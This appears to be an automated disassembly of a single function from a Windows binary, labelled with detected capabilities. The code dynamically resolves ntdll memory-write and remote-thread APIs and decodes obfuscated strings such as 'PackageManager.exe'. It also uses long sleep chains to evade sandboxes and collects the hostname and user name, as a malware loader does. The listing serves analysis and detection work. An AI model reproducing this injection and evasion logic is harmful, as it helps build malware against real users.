Function at 0x140002f50
Capabilities:
Get hostname
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x1e0
mov rax, qword [0x140024018]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtProtectVirtualMemory
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemoryEx
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtResumeThread
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dl, 0x50
mov rcx, r14
mov rbx, rax
call fcn.140002eb0
mov dl, 0x76
mov rcx, rbp
call fcn.140002eb0
mov dl, 0x52
mov rcx, rsi
call fcn.140002eb0
mov dl, 0x3a
mov rcx, rdi
call fcn.140002eb0
mov dl, 0xc1
mov rcx, rbx
call fcn.140002eb0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1400011d0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
lea r8, [rsp + 0x34]
mov rcx, rax
mov dword [rsp + 0x34], edi
mov rbx, rax
lea r9d, [rdi + 4]
lea edx, [rdi + 8]
call qword [0x140025e00]
or dword [rsp + 0x34], 1
lea r8d, [rdi + 4]
lea rdx, [rsp + 0x34]
lea ecx, [rdi + 8]
call qword [0x140025e20]
lea r9d, [rdi + 4]
mov dword [rsp + 0x30], edi
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [rdi + 2]
call qword [0x140025e00]
or dword [rsp + 0x30], 1
lea r8d, [rdi + 4]
lea rdx, [rsp + 0x30]
lea ecx, [rdi + 2]
call qword [0x140025e20]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqu xmm0, xmmword [str.PackageManager.exe]
lea r14, [0x140000000]
mov eax, 0x10
movdqa xmm1, xmmword [0x140021b60]
psubb xmm0, xmm1
movdqu xmmword [str.PackageManager.exe], xmm0
nop dword [rax]
nop word [rax + rax]
add byte [rax + r14 + 0x24a68], 0xfa
inc rax
cmp rax, 0x12
jl 0x140003160
mov rax, rdi
nop word [rax + rax]
movdqu xmm0, xmmword [rax + r14 + 0x24a30]
psubb xmm0, xmm1
movdqu xmmword [rax + r14 + 0x24a30], xmm0
add rax, 0x10
cmp rax, 0x30
jl 0x140003180
mov ecx, 0x1f4
call qword [0x140025de8]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0xc]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x12c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x140026048], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x5c]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0xbb8
mov qword [0x140026008], rax
call qword [0x140025de8]
mov ecx, 0xbb8
call qword [0x140025de8]
call fcn.1400024e0
mov esi, 0xffffffff
test eax, eax
jne 0x1400032c9
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x64
lea rcx, [rsp + 0x50]
call qword [0x140025da0]
mov r9d, esi
mov dword [rsp + 0x28], edi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebp, eax
test eax, eax
je 0x1400032be
inc eax
movsxd rbx, eax
add rbx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
lea edx, [rsi + 9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400032be
mov dword [rsp + 0x28], ebp
lea r8, [rsp + 0x50]
mov r9d, esi
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x1400032c1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, rdi
mov rdx, rbx
call fcn.140002880
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x10
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov rcx, qword [0x140026048]
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [0x140026048]
lea rdx, [0x140021a18]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x101
lea rcx, [rsp + 0xc0]
call qword [0x140025da0]
mov rcx, qword [0x140026008]
lea rdx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rdx, qword [0x140026008]
mov rcx, qword [0x140026048]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rax, qword [0x140026048]
mov ecx, edi
test rax, rax
je 0x14000336d
cmp byte [rax], cl
je 0x14000336b
nop dword [rax]
inc ecx
lea rax, [rax + 1]
cmp byte [rax], dil
jne 0x140003360
mov esi, ecx
mov ecx, 0xbb8
mov dword [0x140025e3c], esi
call qword [0x140025de8]
nop
add byte [rdi + r14 + 0x24a80], 0xfa
inc rdi
cmp rdi, 0xc
jl 0x140003380
add byte [0x140024a7c], 0xfa
mov ecx, 0xbb8
add byte [0x140024a7d], 0xfa
add byte [0x140024a7e], 0xfa
call qword [0x140025de8]
mov ecx, 0xbb8
call qword [0x140025de8]
call fcn.140003420
mov rcx, qword [0x140024a28]
mov edx, 1
call qword [0x140025d88]
mov rcx, qword [0x140024a28]
mov dword [0x140025e38], eax
call qword [0x140025d58]
call qword [0x140025db8]
xor eax, eax
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.140005e90
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret